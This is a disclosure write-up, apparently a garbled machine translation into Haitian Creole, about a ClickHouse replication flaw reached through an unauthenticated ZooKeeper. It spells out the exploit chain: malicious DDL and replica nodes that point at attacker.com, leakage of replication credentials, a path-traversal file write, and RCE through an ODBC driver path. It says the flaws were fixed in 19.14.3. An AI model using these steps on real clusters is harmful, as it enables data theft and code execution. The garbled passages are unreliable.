Atik sa a pral rakonte istwa a nan yon vilnerabilite trè espesifik nan pwotokòl la replikasyon ClickHouse, epi li pral montre tou ki jan sifas atak la ka elaji.
ClickHouse se yon baz done pou estoke gwo volim done, pi souvan itilize plis pase yon kopi. Clustering ak replikasyon nan ClickHouse yo bati sou tèt
Enstalasyon ZK defo a pa mande pou otantifikasyon, kidonk dè milye de sèvè ZK yo itilize pou konfigirasyon Kafka, Hadoop, ClickHouse yo disponib piblikman.
Pou diminye sifas atak ou a, ou ta dwe toujou configured otantifikasyon ak otorizasyon lè w ap enstale ZooKeeper
Natirèlman, gen kèk deserializasyon Java ki baze sou 0day, men imajine ke yon atakè te kapab li ak ekri nan ZooKeeper, yo itilize pou replikasyon ClickHouse.
Lè yo configured nan mòd cluster, ClickHouse sipòte demann distribiye /clickhouse/task_queue/ddl
.
Pou egzanp, ou kreye yon ne /clickhouse/task_queue/ddl/query-0001
ak kontni:
version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']
epi apre sa, yo pral efase tab tès la sou sèvè cluster host1 ak host2. DDL tou sipòte kouri CREATE/ALTER/DROP requêtes.
Son pè? Men, ki kote yon atakè ka jwenn adrès sèvè?
CREATE TABLE foobar
(
`action_id` UInt32 DEFAULT toUInt32(0),
`status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;
nœuds yo pral kreye kolòn и Metadata.
Kontni /clickhouse/tables/01/foobar/replicas/chXX/hosts:
host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
Èske li posib pou rantre done ki soti nan gwoup sa a? Wi, si pò replikasyon an (TCP/9009
) sou sèvè chXX-address
firewall la pa pral fèmen epi otantifikasyon pou replikasyon pa pral configuré. Ki jan yo kontoune otantifikasyon?
Yon atakè ka kreye yon nouvo kopi nan ZK pa senpleman kopye sa ki soti nan /clickhouse/tables/01-01/foobar/replicas/chXX
ak chanje siyifikasyon an host
.
Kontni /clickhouse/tables/01–01/foobar/replicas/attacker/host:
host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
Lè sa a, ou bezwen di lòt kopi yo ke gen yon nouvo blòk done sou sèvè atakè a ke yo bezwen pran - yo kreye yon ne nan ZK. /clickhouse/tables/01-01/foobar/log/log-00000000XX
(XX kontwa k ap grandi monotone, ki ta dwe pi gran pase dènye a nan jounal evènman an):
format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2
kote source_replica - non kopi atakè a te kreye nan etap anvan an, block_id - idantifyan blòk done, jwenn - "jwenn blòk" lòd (ak
Apre sa, chak kopi li yon nouvo evènman nan boutèy la epi li ale nan yon sèvè kontwole pa atakè a pou resevwa yon blòk done (pwotokòl la replikasyon se binè, kouri sou tèt HTTP). Sèvè attacker.com
pral resevwa demann:
POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX
kote XXX se done otantifikasyon pou replikasyon. Nan kèk ka, sa a ka yon kont ak aksè nan baz done a atravè pwotokòl ClickHouse prensipal la ak pwotokòl HTTP. Kòm ou te wè, sifas atak la vin gwo anpil paske ZooKeeper, ki te itilize pou replikasyon, te rete san otantifikasyon configuré.
Ann gade nan fonksyon pou jwenn yon blòk done ki sòti nan yon kopi, li ekri ak tout konfyans ke tout kopi yo anba kontwòl apwopriye epi gen konfyans nan mitan yo.
kòd pwosesis replikasyon
Fonksyon an li yon lis fichye yo, answit non yo, gwosè yo, sa yo, epi ekri yo nan sistèm fichye a. Li vo separeman dekri kijan done yo estoke nan sistèm dosye a.
Genyen plizyè sous-répertoires nan /var/lib/clickhouse
(anyè depo defo soti nan fichye a konfigirasyon):
drapo - anyè pou anrejistreman
tmp — anyè pou estoke dosye tanporè;
user_files — operasyon ki gen dosye nan demann yo limite nan anyè sa a (INTO OUTFILE ak lòt moun);
Metadata — dosye sql ak deskripsyon tab la;
preprocessed_configs - trete dosye konfigirasyon derive soti nan /etc/clickhouse-server
;
done - anyè aktyèl la ak done nan tèt li, nan ka sa a pou chak baz done se yon sou-anyè separe tou senpleman kreye isit la (pa egzanp /var/lib/clickhouse/data/default
).
Pou chak tab, yo kreye yon sous-anyè nan anyè baz done a. Chak kolòn se yon dosye separe depann sou
action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2
Replik la espere resevwa fichye ki gen menm non lè yo ap trete yon blòk done epi li pa valide yo nan okenn fason.
Lektè atantif la pwobableman te deja tande pale de konkatènasyon an sekirite nan file_name nan yon fonksyon WriteBufferFromFile
. Wi, sa pèmèt yon atakè ekri kontni abitrè nan nenpòt ki dosye sou FS la ak dwa itilizatè clickhouse
. Pou fè sa, kopi atakan an kontwole dwe retounen repons sa a nan demann lan (yo te ajoute kase liy pou fasil pou konprann):
x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper
epi apre konkatènasyon ../../../../../../../../../tmp/pwned
dosye a pral ekri /tmp/pwned ak kontni hellofromzookeeper.
Gen plizyè opsyon pou vire kapasite ekri dosye nan ekzekisyon kòd aleka (RCE).
diksyonè ekstèn nan RCE
Nan vèsyon ki pi gran yo, anyè a ak anviwònman ClickHouse yo te estoke ak dwa itilizatè clickhouse default. Fichye Anviwònman yo se fichye XML ke sèvis la li nan demaraj ak Lè sa a, kachèt nan /var/lib/clickhouse/preprocessed_configs
. Lè chanjman rive, yo re-li. Si ou gen aksè a /etc/clickhouse-server
yon atakè ka kreye pwòp tèt li root
.
ODBC pou RCE
Lè w ap enstale yon pake, yo kreye yon itilizatè clickhouse
, men anyè lakay li pa kreye /nonexistent
. Sepandan, lè w ap itilize diksyonè ekstèn oswa pou lòt rezon, administratè yo kreye yon anyè /nonexistent
epi bay itilizatè a clickhouse
aksè pou ekri li (SSZB! approx. tradiktè).
ClickHouse sipòte odbc-bridge
, kidonk li pa posib ankò pou presize chemen chofè a soti nan demann lan. Men, èske yon atakè ka ekri nan anyè kay la lè l sèvi avèk vilnerabilite ki dekri pi wo a?
Ann kreye yon fichye ~/.odbc.ini
ak kontni tankou sa a:
[lalala]
Driver=/var/lib/clickhouse/user_files/test.so
Lè sa a, sou demaraj SELECT * FROM odbc('DSN=lalala', 'test', 'test');
bibliyotèk la pral chaje test.so
ak resevwa RCE (mèsi
Sa yo ak lòt vilnerabilite yo te fiks nan ClickHouse vèsyon 19.14.3. Pran swen ClickHouse ou ak ZooKeepers!
Sous: www.habr.com